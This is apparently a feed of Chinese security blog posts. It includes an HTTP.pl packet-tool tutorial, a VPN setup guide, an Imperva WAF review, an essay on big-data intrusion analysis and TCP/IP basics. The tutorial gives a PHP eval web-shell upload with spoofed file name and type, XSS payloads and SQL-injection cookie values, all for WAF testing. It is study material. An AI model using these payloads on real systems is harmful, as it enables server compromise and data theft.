-proxy 'http://64.34.14.28:7808' 代理,支持https,http,socks代理
-t|timeout 180 请求超时时间,默认值180s
-L|redirect 7 重定向次数,默认值7次


-F|fileUpload 表明本次请求为文件上传
-fileFiled 'uploaded' 文件域name
-filePath '/tmp/a.jpeg' 本地文件路径
-fileName 'a.php' 上传文件名
-fileContent '<?php eval($_POST[a]);?>' 上传文件内容
-fileType 'image/jpeg' 上传文件类型

-s|silent : 隐藏http完整内容,只显示http响应消息
-r|raw : 表明采用未进行urlencode编码的方式提交post数据

-basicAuth : 表明此次请求为HTTP基本认证
-username tanjiti 基本认证用户名
-password 12345 基本认证密码


2.重定向例子
(1)关闭自动重定向
选项 -L

./HTTP.pl -url http://www.tanjiti.com/redirect.php -L 0

HTTP.pl——HTTP发包工具 - 碳基体 - 碳基体
 
(2)设置自动重定向次数,默认为7次

./HTTP.pl -url http://www.tanjiti.com/redirect.php -L 1

HTTP.pl——HTTP发包工具 - 碳基体 - 碳基体
 
3.基本认证例子

选项
-basicAuth : 表明此次请求为HTTP基本认证
-username tanjiti 基本认证用户名
-password 12345 基本认证密码

需要基本验证的请求

./HTTP.pl -url http://www.tanjiti.com/xxx/

HTTP.pl——HTTP发包工具 - 碳基体 - 碳基体
 
基本验证

./HTTP.pl -url http://www.tanjiti.com/xxx/ -basicAuth -username tanjiti -password q

HTTP.pl——HTTP发包工具 - 碳基体 - 碳基体
 
4. GET提交表单的例子
选项 -d

./HTTP.pl -url http://www.tanjiti.com/get.php -d keyword='name<script>alert(1)</script>' -d submit='submit'

HTTP.pl——HTTP发包工具 - 碳基体 - 碳基体
 
5. POST提交表单的例子

选项 

-d 提交数据

-method 指定HTTP请求方法

-raw 是否进行urlencode编码

(1)提交urlencode编码

./HTTP.pl -url http://www.tanjiti.com/get.php -d keyword='name<script>alert(1)</script>' -d submit='submit' -method post

HTTP.pl——HTTP发包工具 - 碳基体 - 碳基体

(2)提交原始数据

./HTTP.pl -url http://www.tanjiti.com/get.php -d keyword='name<script>alert(1)</script>' -d submit='submit' -method post -raw

HTTP.pl——HTTP发包工具 - 碳基体 - 碳基体
 
6. 提交文件上传请求
选项说明
 -F|fileUpload 表明本次请求为文件上传
-fileFiled 'uploaded' 文件域name
-filePath '/tmp/a.jpeg' 本地文件路径
-fileName 'a.php' 上传文件名
-fileContent '<?php eval($_POST[a]);?>' 上传文件内容
-fileType 'image/jpeg' 上传文件类型
-d 其他表单域数据
HTTP.pl——HTTP发包工具 - 碳基体 - 碳基体
(1)上传本地文件到服务器
上传php文件

./HTTP.pl -url http://www.tanjiti.com/fileUpload.php -fileUpload -fileFiled uploaded -d upload=upload -filePath "/tmp/phpinfo.php"

HTTP.pl——通过HTTP发包工具了解HTTP协议 - 碳基体 - 碳基体
 
上传jpeg图片文件

./HTTP.pl -url http://www.tanjiti.com/fileUpload.php -fileUpload -fileFiled uploaded -d upload=upload -filePath "/tmp/king.jpeg"

HTTP.pl——通过HTTP发包工具了解HTTP协议 - 碳基体 - 碳基体
 
(2) 上传本地文件到服务器,并修改文件实际的名字和类型
文件上传处理程序一般会检查文件名和文件类型,我们可以对其进行伪造

./HTTP.pl -url http://www.tanjiti.com/fileUpload.php -fileUpload -fileFiled uploaded -d upload=upload -filePath "/tmp/phpinfo.php" -fileName '1.jpg .php' -fileType 'image/jpeg'

HTTP.pl——通过HTTP发包工具了解HTTP协议 - 碳基体 - 碳基体
 

(3)  自己构造文件上传包的内容,包括文件名,文件类型,文件内容

./HTTP.pl -url http://www.tanjiti.com/fileUpload.php -fileUpload -fileFiled uploaded -d upload=upload -fileName 'avator.jpeg' -fileType 'image/jpeg' -fileContent '<?php @eval($_POST[a]);?>'

HTTP.pl——通过HTTP发包工具了解HTTP协议 - 碳基体 - 碳基体
 
7.构造cookie头

选项 

-cookie

./HTTP.pl -url http://www.tanjiti.com/a.php -cookie username="tanjiti' or ''= '' -- " -cookie password='1 or 1=1 --'

HTTP.pl——通过HTTP发包工具了解HTTP协议 - 碳基体 - 碳基体
 
 


8.构造HTTP头
在web攻击中,除了篡改cookie,http请求体外,http请求头也是被攻击的对象。因为应用程序出于某些特定需求需要从http请求头里收集信息。

下面是常见用于日志收集的HTTP请求头:

User-Agent 脚本中默认为  Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0  

Referer   用户是从这个页面上依照链接跳转过来的

Host  

Accept  告知服务器发送何种媒体类型,脚本中默认为text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Charset  e.g. utf-8 告知服务器发送何种字符集 

Accept-Encoding 告知服务器采用何种编码,脚本中默认为gzip,deflate,sdch

Accept-Language 告知服务器采用何种语言,脚本中默认为 zh-CN,zh;q=0.8,en;q=0.6  

 X_Forwarded_For  经过的客户端IP地址  

 Via   代理服务器标识

(1) 指定UserAgent

选项 

-A  或者-user-agent

./HTTP.pl -url http://www.tanjiti.com -A 'tanjiti'

HTTP.pl——通过HTTP发包工具了解HTTP协议 - 碳基体 - 碳基体
 
(2)指定referer

选项 

-e  或者-referer

./HTTP.pl -url http://www.tanjiti.com -e 'http://www.google.com'


HTTP.pl——通过HTTP发包工具了解HTTP协议 - 碳基体 - 碳基体
 
   (3)指定HTTP头

./HTTP.pl -url http://127.0.0.1 -H Accept='*/*' -H Accept-Charset='utf-8' -H Accept-Encoding='identity' -H Accept-Language='zh-CN,zh;q=0.8,en;q=0.6' -H Host='www.tanjiti.com' -H Via='1.0 tanjiit.com(squid 0.54)' -H X-Forwarded-For='129.78.138.66, 129.78.64.103'

HTTP.pl——通过HTTP发包工具了解HTTP协议 - 碳基体 - 碳基体
 

8.使用代理例子
选项 -proxy
(1)使用HTTP代理

./HTTP.pl -url http://www.tanjiti.com -proxy http://61.158.219.226:8118

(2) 使用tor/socks代理

./HTTP.pl -url http://www.tanjiti.com -proxy socks://127.0.0.1:9050

./HTTP.pl -url http://www.tanjiti.com -proxy socks://180.153.139.246:8888


9.其它选项

(1) 仅发包,不回显具体的HTTP协议包
选项 -s

./HTTP.pl -url http://www.tanjiti.com/a.php -s

(2)指定请求超时时间,默认为180s
选项 -t (单位s)

./HTTP.pl -url http://www.tanjiti.com/ -t 20

四、HTTPFromFile.pl
从文件内容构造HTTP请求来发包
以测试某个站点WAF的XSS防御为例

第一步:构造XSS请求包

echo -ne 'GET /?a=%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1\r\nHost: www.tanjiti.com\r\nUserAgent: curl 0.9\r\n' > xss.t


HTTP.pl——通过HTTP发包工具了解HTTP协议 - 碳基体 - 碳基体
 
第二步:发送xss请求包

perl HTTPFromFile.pl -code 403 -host www.tanjiti.com -port 80 -file xss.t

HTTP.pl——通过HTTP发包工具了解HTTP协议 - 碳基体 - 碳基体
 选项说明:
-code: 预期的http响应码,不是所有的waf都用403做拦截响应码
-host: 指定发包的Host,默认为127.0.0.1
-port 指定发包的端口,默认为80
-file 指定存放请求包内容的文件,必须指定该参数

HTTPFromFile还可以批量读取文件内容与发送请求包,并通缉结果

perl HTTPFromFile.pl -host www.tanjiti.com -dir ~/WAFTest/t

-dir 指定存放请求包内容的文件目录
HTTP.pl——通过HTTP发包工具了解HTTP协议 - 碳基体 - 碳基体

 


参考:
《HTTP权威指南》
http://en.wikipedia.org/wiki/List_of_HTTP_header_fields
http://search.cpan.org/~mschilli/libwww-perl/lib/LWP.pm

网站负载均衡技术读书笔记与站长产品的一点想法

$
0
0


一、《实用负载均衡技术-网站性能优化攻略》读书笔记
网站负载均衡技术读书笔记与站长产品的一点想法 - 碳基体 - 碳基体

如图所示,展示了一次HTTP请求发起的各个阶段与各个阶段用到的性能优化技术。


二、站长产品
要想搭建一个站点,其实很简单
1. 注册域名
2. 购买vps或者使用云服务 (互联网大头都在做云。。。)
3. 下载安装CMS建站程序
如果要在国内发布,还得加上下面一步
4. 备案

而要想运营一个站点,就比较困难了
1. 要快速,使用带加速功能的CDN产品,智能DNS(好的CDN一定要有智能DNS功能,如果卡在域名解析这一步,再好的加速技术也出不来)
2. 要好找,SEO优化(或者SEO黑化)
3. 要安全 ,WAF产品,防D,防黑,防CC
4. 要稳定,网站监测产品,告诉你网站运行状况,线路速度

这些都具备后,就是等着流量上涨,流量就是money

所幸的是,给站长提供服务的产品在近几年有集成化的趋势,集成了 DNS产品(卖点是高速/稳定的域名解析服务),CDN产品(卖点是网站加速/网站安全),网站监测产品(卖点是专业的数据监控与快捷方便的预警方式),vps/云server,站长联盟平台(卖点SEO优化,广告联盟,基本为搜索引擎大家垄断),建站CMS(卖点:傻瓜式建站),还有更为夸张地是连网络基础设施都自己做,因为可以快速响应奇葩的封锁问题。

站长产品正在快速发展中,特别是提速产品。但也存在短板的地方,例如对视频站点加速的缺乏,因为一般都是依靠静态资源(css,js,图片)缓存,压缩传输,http请求优化(例如异步加载),而对流媒体的不予处理,还有对移动站点的优化也比较粗糙,但都在发展中,技术总会改变世界。


参考:
《大型网站技术架构》
《实用负载均衡技术》
《高性能网站建站》
 

BuyVM Debian IPSec VPN 安装方法

$
0
0
iOS干掉了pptp,iOS appstore干掉了shadowsocks,LG又吵着用ipad翻墙刷twitter,youtube,所以决定用ipsec复活vpn

我的vps:BuyVM Debian
安装方法完全参考http://www.jianshu.com/p/2f51144c35c9 

第一步:安装strongswan
1.安装依赖包

apt-get install libgmp-dev

2.下载源码编译

wget http://download.strongswan.org/strongswan.tar.gz && tar zxvf strongswan*

cd strongswan-5.5.1/

./configure --sysconfdir=/etc \

--disable-sql \

--disable-mysql \

--disable-ldap \

--enable-dhcp \

--enable-eap-identity \

--enable-eap-mschapv2 \

--enable-md4 \

--enable-xauth-eap \

--enable-eap-peap \

--enable-eap-md5 \

--enable-openssl \

--enable-shared \

--enable-unity \

--enable-eap-tls   \

--enable-eap-ttls \

--enable-eap-tnc \

--enable-eap-dynamic \

--enable-addrblock \

--enable-radattr \

--enable-nat-transport \

--enable-kernel-netlink \

--enable-kernel-libipsec

make && make install

第二步:配置ipsec

vim /etc/ipsec.conf

编辑

config setup

        # strictcrlpolicy=yes

        uniqueids = no #允许多设备登陆

conn IPsec_xauth_psk

    keyexchange=ikev1

    left=xxx.xxx.xxx.xxx #这里换成你登录 VPN 用的域名或 IP

    leftauth=psk

    leftsubnet=0.0.0.0/0

    right=%any

    rightauth=psk

    rightauth2=xauth

    rightsourceip=10.84.1.0/24 #配置成你的vps分配的内网ip

    auto=add

conn %default

    keyexchange=ikev1

    dpdaction=hold

    dpddelay=600s

    dpdtimeout=5s

    lifetime=24h

    ikelifetime=240h

    rekey=no

    left=xxx.xxx.xxx.xxx #这里换成你登录 VPN 用的域名或 IP,与生成证书时相同 

    leftsubnet=0.0.0.0/0

    leftcert=vpnHostCert.pem

    leftsendcert=always

    right=%any

    rightdns=4.2.2.1 #配置成你喜欢的dns服务器地址

 rightsourceip=10.84.1.0/24#配置成你的vps分配的内网ip

设置账号(懒得再iOS上上传证书,用口令认证方式)

vim /etc/ipsec.secrets

编辑

: PSK "密钥"

账户 : XAUTH "密码"

第三步:启动

ipsec start



其他科学上网见

BuyVM Debian PPTP VPN 安装方法





商用WAF-impreva SecureSphere分析

$
0
0
分析过开源WAF产品modsecurity,naxsi,现在来分析商用的WAF产品——impreva SecureSphere(被业内评为最好的WAF产品)。

一款WAF产品,我们会主要从功能、易用性、性能三方面来进行评测。

首先,我们知道waf产品从用户定位来看,有以下两种:

目标用户:站长   提供的服务:防住攻击就好,例如云WAF产品 收费点:增值服务 

目标用户:互联网商家 提供的服务:不仅仅是防住攻击,还有风控、审计、监控,SIEM,取证等要求,例如SecureSphere 收费点:产品ALL-in-One

接下来,我们按第二种WAF产品的要求,来看SecureSphere的优势在哪里?

 

一、功能

  1. 1. 防御攻击的能力

我们知道传统WAF(包括其他安全产品)的技术核心是模式匹配,静态规则库很明显的缺陷有以下几点

a. 已知攻击的绕过

1)HTTP协议解析漏洞 :WAF进行模式匹配的时候都是对HTTP协议变量进行匹配,攻击者构造异常的HTTP数据包导致不能正常提取变量,都不能进入到模式匹配阶段,自然而然就绕过了

2)模式匹配的先天不良:字符串匹配,无论是简单的正则匹配或者会配合一定的逻辑的匹配(比如对不同关键字进行加权操作,前后依赖关系判断)反正都逃不开模式两个字,而模式是固定的,就导致了各种侧漏。 

 

b. 未知攻击不可感知与响应滞后

 

当然,传统WAF也未这些缺陷,做出了弥补方案

1)  静态白规则的应用——基本都死在了误报上

如何自动生成白规则? 如何感知防御内容变化动态生成白规则?是解决误报的难点,而SecureSphere找到了解决方案,这个也是它最大的卖点。

2) 事后运维

手段1:日志漏报分析——死在了日志分析能力上,如何保证及评测准确率,召回率

手段2:外界反馈(用户,安全圈)——死在了不可说的原因下

这两种手段的共同缺点是滞后,滞后的安全不是健康预防,甚至不是医生急救,而是法医验尸

 

我们来看看SecureSphere的解决方案

1)、动态行为建模——最大卖点

“adaptive normal behavior profile NBP architecture 动态生成应用正常行为特征模型 (白名单)”

 impreva SecureSphere分析 - 碳基体 - 碳基体

从上图我们可以考到,模型包括三个方面

(1)web特征模型

核心:理解应用,用户点击一个url的过程,发生了什么?

请求方法?请求path?查询字符串?post数据?表单如何解析?JS如何处理?请求通过web server传入后端后,交给了谁?是DB?还是OS的文件系统?怎么处理?最后是读取、写、还是执行操作。

impreva SecureSphere分析 - 碳基体 - 碳基体

 

(2)DB特征模型

web特征(server级别,app级别);DB特征(server,app); web-DB关联特征; 以用户会话为单位的请求关联分析,对后续的攻击事件取证也有很大帮助。 更优秀的分析方法吸取了白名单的优点-漏报小,改善白名单的缺点-误报大。


 impreva SecureSphere分析 - 碳基体 - 碳基体

 2)策略细化

解决问题有两种方法,一是破——创建全新的方案(最大卖点,前面提到了),二是补——将已有方案优化到极致。

WAF最核心的组件——安全策略(比较low的叫法是规则),测量有五要素

  • 策略类型 e.g. 防御SQLi
  • 匹配条件 e.g. 参数名/参数值有注入语句
  • 应用对象 e.g. 查询字符串,POST正文,请求头
  • 动作 e.g. 拦截本次请求
  • 例外 e.g. SQL管理后台例外

 

而SecureSphere从以下方面来化腐朽为神奇


  1. 1. 策略类型全,我们强调了发现未知的神奇处,也不能忽略了已知(已经获得的安全知识)的优势,他们比未知更为有效(成本低,性能高)
  2. 2. 策略多样性,不仅仅是正则特征码,还包括调用第三方工具接口(e.g. 扫描器接口,欺诈检测接口); 不仅仅有防攻击策略,还有主动防御策略
  3. impreva SecureSphere分析 - 碳基体 - 碳基体
     
    3.策略动作的多样性,不仅仅是记录与拦截
  4. impreva SecureSphere分析 - 碳基体 - 碳基体
     
  5. 4. 策略的配置粒度——合适的粒度,不要一刀切,例如所有的get参数,用同一个正则匹配
  6. 5. 应用防御中心ADC的有力 支撑:每个做安全产品的背后都有一个或多个攻防实验室在补充知识库,无论是自己的还是别人的

    6.  ThreatRadar——外界安全情报系统的支撑:攻击源(IP,url)信誉库来阻挡大面积自动化攻击,区分自动化攻击,细化人工攻击

     impreva SecureSphere分析 - 碳基体 - 碳基体
     
  7. 2. 不仅仅是防御攻击

    传统WAF到这里就结束了。而SecureSphere做得更多

    它集成了以下模块:

    1) 风险管理: 集成了扫描器(DB,web漏洞)——风控团队可以用 
    (2) 审计管理——审计团队可以用
    风控与审计,对金融(电商,支付,银行)类目标用户,是标配
    (3) 监测IDS系统——SIEM(监测,取证)团队可以用

3. 缺失或存在质疑的安全功能

缺失:

  1. 1. 社工?
    社工库?
    钓鱼?
  2. 2. 逻辑漏洞-针对业务流程的攻击
    非常规访问流程
    明确WAF不能做的,可替代的方案,单独成反欺诈产品,提供接口调用其检测结果

3.  被攻陷后(接入安全产品前或安全产品未能防住的攻击)隐藏的后门,造成的破坏是否能被发现

         

质疑:是否有宣传的,对未知攻击的捕获、识别、评估有那么牛

      1.  捕获异常的能力:模型的准确率、召回率

      2. 识别异常的能力:是哪种0-day/未公开漏洞

      3. 评估异常的能力:影响了多少个系统?造成多大的危害

 

   

4. 泛安全功能(不是传统意义的攻击,但是危害用户的行为)

      1.  网站内容保护——反恶意抓取、垃圾信息注入

      2.  精准洪泛攻击——对API接口的海量调用、例如短信接口、验证码接口

 

二、易用性

 

 

  1. 1. 产品部署
    接入方式是否容易? SecureSphere支持透明桥部署;代理部署;旁路监听部署

  2. 2. 产品使用

    差评:除了部分策略需要本土化,这是最需要本土化的地方

    优化程度:理想状态——不需要培训; 可接受状态:用户手册不超过20页

  3. 3. 产品运维
    疑问:
    (1)新接入站点的训练时间? 站点内容与训练时间的对应关系
    (2)站点变更的发现与训练?
    (3)错误的训练数据的影响?

 

 

三、性能

见官方数据

  1. 流量: multi-gigabit
  2. 延迟: sub-milliseconds

 

 

四、总结

从优秀的产品学习如何改善自己的产品

优点(卖点):

   1. WAF本职:

创新点:动态建模(dynamic application and database profile ; user access monitoring; behavior modeling、web-DB 联动分析 (web user session to Dtabase query mapping)  +  

优化点:策略细化——更快(发现快,响应快)、更准(拦截准,定位准)、更全(发现攻击,识别攻击,评估攻击)

impreva SecureSphere分析 - 碳基体 - 碳基体

 

   2. 不仅仅是WAF,更是风控、审计、监测、取证

   3. 泛安全,不局限于安全,考虑用户需要的

 

缺点:

  1. 操作本土化、简化
  2. 策略本土化(这个其实不算缺点)

 

山寨这款产品的方法就是有选择的继承卖点+本土化


大数据之安全漫谈2

$
0
0
前言
写这篇文章有三个原因,一是在工作中一直艰难地摸索着这块也曾写过一篇很粗略的

大数据之安全漫谈 (想继续吐槽)二是看到了阿里的招聘广告-一起来聊聊这个新职位:大数据安全分析师

三是整个2015的RSA会议 Intelligence Data-Driven 出境率太高了 ,于是想谈谈。


大数据安全,顾名思义,用大数据技术解决安全问题。核心——解决安全问题,手段——大数据技术

我们从核心出发,安全问题抽象来说就是攻击与防御,接下来明确防御对象是什么?攻击目的是什么?攻击手段是怎样的?攻击者的特征?一句话——搞清楚谁为了什么目的通过什么手段攻击了谁。

比如说防御对象有企业内部安全,有对外发布产品安全,同时防御对象又决定了不同的攻击目的与攻击手段,有企业入侵,有对产品本身的攻击(比如说软件破解,游戏外挂,订单欺诈),有对产品用户的攻击(比如利用支付漏洞窃取用户财产),同样发起攻击的攻击者们特征又是迥异的,有无特定目的批量散弹攻击,有靠接单挣钱的赏金黑客,有外挂作坊等等。

在明确了的问题后,接下来就是确定解决问题的方法,传统方法的缺陷是什么?大数据技术解决问题的优势又是什么?比如说WAF系统中,传统的检测机制——基于签名库(黑名单),缺陷是对未知漏洞(0day) 不可感知。解决方案——基于异常(白名单),如何鉴定异常——机器学习(学习正常的行为模式),如何对大量数据鉴定异常——大数据技术支撑下的机器学习。

在这一过程,我们需要具备领域知识(安全知识),数据科学知识(数据分析知识,机器学习,文本分析,可视化),大数据知识(数据收集,数据存储,数据传输,数据分布式计算),编程知识。
路漫漫其修远兮,吾将死磕到底...
大数据安全漫谈-机器学习 - 碳基体 - 碳基体
 
本文就以企业入侵检测日志分析为场景来谈谈大数据安全

一、安全领域
大数据安全分析最容易走偏的就是过度强调数据计算平台(大数据),算法(机器学习),而失去了本心,忽略了我们使用这一技术的目的,以入侵检测为例,我们希望日志分析达到以下目的
大数据安全漫谈-机器学习 - 碳基体 - 碳基体
 
如何感知威胁,我们可以先对攻击者进行画像,攻击手段进行建模

1. 攻击者画像
大数据安全漫谈-机器学习 - 碳基体 - 碳基体
 这里是非常粗略的分类,实际上我们可以用关系图(社交网挖掘)的方式将攻击者关联起来,对取证抓坏人也是有效果的。

2. 攻击手段建模
相信喜欢撸paper、ppt的人对Attack Models、 Attack Trees、 Kill Chain这三个术语特别熟悉,特别是看过2013年后的各大安全会议文档后,其实说的都是攻击行为建模。

(1) 渗透模型

大数据安全漫谈-机器学习 - 碳基体 - 碳基体
 


(2)普通攻击模型

大数据安全漫谈-机器学习 - 碳基体 - 碳基体
 
(3)攻击模型(升级版)
大数据安全漫谈-机器学习 - 碳基体 - 碳基体
 
注意以上攻击手段只是高度精炼的攻击环节,实际的攻击检测中,我们需要尽可能精确的还原入侵场景(包括对应的正常场景是怎样的),从入侵场景中提炼关键环节,从而检测出异常的攻击行为。

在熟悉了杀生链(kill chain)后,接下来要做的就是在构成链的每个环节进行狙击,注意越往后成本越高。而每个阶段的操作必然会雁过留痕,这些痕迹,就是我们进行数据分析的数据源,知道对什么数据进行分析是最最重要的(数据量要恰到好处,要多到足够支撑数据分析与取证,要少到筛选掉噪音数据)。

二、数据科学
在明确了我们要解决的问题,接下来我们来普及一下数据分析的基本流程

大数据安全漫谈-机器学习 - 碳基体 - 碳基体
 
从上图可以看出,传统的数据分析在模型选择上都仅仅用了0——规则,1——统计分析,设置基线,依靠阈值的方法。

数据分析与领域知识是紧密耦合的,千万不要误入套用算法的误区,要进行基于行为建模(攻击行为,正常行为)的数据分析,可以从单点分析(单条数据的深度分析,例如分析单条HTTP请求是否是攻击请求),简单的关联分析(例如分析一个session下,多条HTTP请求的关联关系,是否为扫描器行为,是否有尝试绕过WAF的操作,是否符合攻击链的关键步骤),复杂的关联分析(例如Web日志,数据库日志,操作系统日志的联动分析,例如SQL注入写马攻击中HTTP请求对应的数据库操作,主机操作)来逐步深入分析,当攻击场景很复杂的时候,我们可以考虑从结果出发的方式来回溯,这些技巧都取决于领域知识。


下面列举一些传统的关联技巧
1. 规则关联
If the system sees an EVENT E1 where E1.eventType=portscan
followed by
an event E2 where E2.srcip=E1.srcip and E2.dstip = E1.dstip and
E2.eventType = fw.reject then
doSomething
2. 漏洞关联:将漏洞扫描数据和实时事件数据结合起来,以便帮助减少假阳性 false positive
e.g. 如果IDS检测到了端口扫描,可以对网络进行例行的漏洞扫描,来验证问题中的主机是否真的打开了个端口,是否容易遭到攻击
3. 指纹关联
4. 反端口关联
if (event E1.dstport != (Known_Open_Ports on event E1.dstip))
then
doSomething
5.关联列表关联: 外部情报列表,例如攻击者列表
6. 环境关联 e.g.如何知道公司的假期安排,可以使用这一信息,在每个人都不上班的时候发现内部资源的访问
休假时间表
业务时间
假日计划
内部资源访问权限
重复的网络“事件”例如漏洞扫描
计划的系统、数据存储备份等
维护安排,例如操作系统补丁等

常见的关联搜索模式
x次登录失败后有一次登录成功
创建非管理员账户之后进行权限提升
VPN用户在工作时间内/外登录,并向网络之外传输更多的数据
网络上的一台主机开始攻击或者探查网络上的其他主机
在很接近的时间内X次尝试访问用户没有权限的共享/文件/目录等
从同一个工作站以多个用户名登录
在多个系统上有多个防病毒软件失效
攻击DMZ系统,随后有出站连接
攻击DMZ系统,随后在同一个系统上更改配置
在几分钟内有许多Web 404,401 500和其他web错误码


以上都是单靠领域知识感知威胁,领域知识的缺陷是太依赖于专家知识了,而专家知识是有限的,这个时候机器学习就可以发挥长度了,例如理工渣眼中的HMM及安全应用

即使是使用机器学习也仍离不开安全领域知识,有安全领域背景的人在数据预处理阶段、feature选择阶段会事半功倍,比如对访问日志进行白名单建模时,从访问日志中筛选出异常日志(攻击日志、不存在的日志、服务器错误日志),需要安全领域知识(知道什么是攻击)、web服务器知识(知道什么是异常,url重写)进行数据清理;比如HMM web安全检测 feature的选择,我们知道攻击注入点在哪里,就不需要进行运气流的feature选择、降维处理。

机器学习虽然能弥补单靠领域知识分析的缺陷,但由于其存在准确率的问题而不能直接在线上应用,只存在于运维离线的环境下。或许是算法需要优化,但个人认为能解决当前方法不能解决的问题就是很大的进步了,比如说能发现一个0 day。我想当电灯刚发明出来的时候,也是绝对没有蜡烛好用,也希望架构师们不要单一的靠准确率这个唯一的标准来评价机器学习的结果。

在知道了如何进行数据分析后,接下来的就是如何在数据量巨大的情况下进行分析。玩单机脚本的年代要一去不返了,分布式需要搞起。

三、大数据技术
我们要使用的大数据技术的核心其实就是是分布式存储与分布式计算,当然能利用已有的数据预处理接口,算法接口也是很有帮助的。

以下是一个完整的大数据分析架构图

大数据之安全漫谈2 - 碳基体 - 碳基体
  
得出这个架构,也走了不少弯路,最开始由于不了解ElasticSearch的特性,采用的是直接使用ElasticSearch对数据源进行分析与结果存储,ElasticSearch全文索引的设计决定了ta不适合频繁写操作并且会很夸张的扩大数据量,所以最后引入了更适合及时读写操作的HBase数据库来做持久化存储,同时增加了算法层这块,只在ElasticSearch离存储最终结果。

大数据有着庞大的生态圈,较之机器学习(人工智能,深度学习)的发展,数据存储、数据计算方面简直是突飞猛进,为算法的发展提供了良好的支撑,当然学习的成本也非常高。以下是入门的一些文章

大数据之hadoop伪集群搭建与MapReduce编程入门

大数据之hive安装及分析web日志实例



万事具备,就差第四个能力——编程,这是将想法落实的能力,否则都是镜花水月。不是有一句老话吗?“Talk is cheap, show me the code”。

四、编程
对于战斗力负5的渣,编程方面的心得是在太多了,每天都有新发现,这里就说说经验之谈吧。

1. 语言选择

先使用Python或者R去做小数据量(样本数据)的分析,然后使用Java实现分布式算法(在大数据的生态圈中,为了避免不必要的麻烦还是用原生语言Java好)。

2. 日志格式问题

日志处理中,输入日志的格式会直接影响模型运行时间,特别是采用正则的方式对文本格式的输入进行解析会极度消耗时间,所以在模型运算时需要先对日志进行序列化处理,Protocol Buffer就是很好的选择,但千万注意jar包的版本哦。

结语

大数据安全涉及的内容非常深入,每个方面都是几本厚厚的书,这里只是非常浅显的漫谈,给大家一幅平面的框架图,期待更多的数据科学(数据分析,机器学习,大数据处理)领域的人进入这个行业,或者安全行业的人开拓自己在数据分析方面的深度,大数据安全将发展的更好,不仅仅是叫好不叫座了。

(我写理工渣眼中的HMM及安全应用那篇文章时,有读者留言,为啥你也搞大数据,希望这篇文章能答疑)



实践出真知,开练吧,深入后或许会再来一轮大数据之安全漫谈3,到时候肯定会有不一样的感想。

其他:

补充:
文章po出后,如我所愿听到了一些建议,这也是我孜孜不倦抛砖的原因
1. 来自策划LG的建议
“看到这一段的时候,完全就想往后跳了” —— 他说的是第二部分的关联规则示例
“而且讲关联的时候要讲下这是什么关联,为啥要这么关联,有啥用处”
“每种关联还要再解释一下用处和场景呀,最好是讲故事”

关联分析的目的:为了跟踪一个人一系列的行为,故事嘛,可以单独讲给你听

“就是太长了呀,你的第一、二点可以独立成文章,三和四可以合并为一篇”

我喜欢一篇搞定一个话题,这是考试小抄后遗症。

2. 来自楚安的建议
最近一直在redesign一些东西 对于kill chain 讲讲一些看法吧 本质上这是一个证据链发现的model 这里就涉及到几个问题 什么是证据?怎么定义一个证据?目前的普遍做法都是基于field knowledge来做 说到这里 有没有发现 是不是可以结合一下ds证据理论?

从杀生链出发本身就是依赖领域知识,领域知识对未知不可感知的缺陷也会继承,但这样做的好处是,起码利用了机器学习的第一个好处:模拟专家来做专家可以做的事情。比如说误报分析,如果一条条的人工来看,的确能马上分析,但工作量巨大,让机器来做就弥补了人力的成本。

3. 来自宫一鸣cn的建议
“国内的关联分析是为了关联而关联”

关联有意思的地方是是从一点能挖出很多点,我一直觉得安全数据分析有两点:
从已知发现未知 —— 比如说按规则拦截了一个奇怪的payload,我们可以看这个payload的发送者是谁,覆盖了多少个站点,在同一个时间段是否又干了其他的事情等等
Connect IPs to IDs —— 所有的攻击都是来自人的攻击,能够在各个阶段定位一个人的特征,取证就容易了

4. 来自终极修炼师的建议
”简单来说,大数据安全分析为了什么?还不是为了抓坏人,怎么抓坏人,这部分需要安全领域的知识和大数据的知识,大数据只是辅助工具,在多个范围对入侵行为分析跟踪,给攻击者画个图来结合5w2h,让安全人员能够看到全局,知易行难。”

是呀是呀,talk is easy, 做起来,你懂的,但这才是挑战嘛

参考:
《日志管理与分析权威指南》
《大数据日知录架构与算法》
http://security.tencent.com/index.php/blog/msg/21

一、TCP/IP数据包基础知识

$
0
0
我们在做基于全流量的网络安全评估的时候会需要对关键服务的协议进行分析,该系列主要讲这些关键协议分析的基础知识及应用示例
一、TCP/IP数据包基础知识 - 碳基体 - 碳基体
 
网络协议的基础构成包括Ethernet头,IP头,TCP/UDP头,应用层数据

一、Ethernet 头
包含源mac地址目的mac地址
一、TCP/IP数据包基础知识 - 碳基体 - 碳基体
 Type包含IPv4/ARP/IPv6
 
二、IPv4/IPv6头
包含源ip地址、目的ip地址
一、TCP/IP数据包基础知识 - 碳基体 - 碳基体
 Protocol包含TCP/UDP/ICMP/IGMP/IGRP/GRE/ESP/AH
 
三、TCP/UDP/ICMP
(1)TCP头
包含源端口地址,目的端口地址、序列号SEQ、响应号ACK、
Flags(FIN结束会话、SYN同步,表示开始会话请求、RST复位,中断一个连接、PUSH推送,数据包立即发送、ACK应答、URG紧急、ECE显示拥塞提醒回应、CWR拥塞窗口减少)
一、TCP/IP数据包基础知识 - 碳基体 - 碳基体
 
下面示例TCP开始连接时候的三次握手

python print_pcap.py --pcapfile=data/pcap_pub/wireshark/mysql_complete.pcap

(源码见 https://github.com/tanjiti/packet_analysis

[TCP] [1216309825.14 2008-07-17 15:50:25] 192.168.0.254:56162(00:00:00:00:00:00) ----->192.168.0.254:3306(00:00:00:00:00:00) SEQ=3436755789 ACK=0 FLAGS=['SYN'] WIN=32792 DATA= ttl=64 DATA_BINARY= LEN=0

[TCP] [1216309825.14 2008-07-17 15:50:25] 192.168.0.254:3306(00:00:00:00:00:00) ----->192.168.0.254:56162(00:00:00:00:00:00) SEQ=3442775511 ACK=3436755790 FLAGS=['ACK', 'SYN'] WIN=32768 DATA= ttl=64 DATA_BINARY= LEN=0

[TCP] [1216309825.14 2008-07-17 15:50:25] 192.168.0.254:56162(00:00:00:00:00:00) ----->192.168.0.254:3306(00:00:00:00:00:00) SEQ=3436755790 ACK=3442775512 FLAGS=['ACK'] WIN=513 DATA= ttl=64 DATA_BINARY= LEN=0

(2)UDP头

包含源端口地址,目的端口地址

一、TCP/IP数据包基础知识 - 碳基体 - 碳基体

 

(3)ICMP头

包含:ICMP Type与各种Type对应的Code

一、TCP/IP数据包基础知识 - 碳基体 - 碳基体

 

四、应用层数据
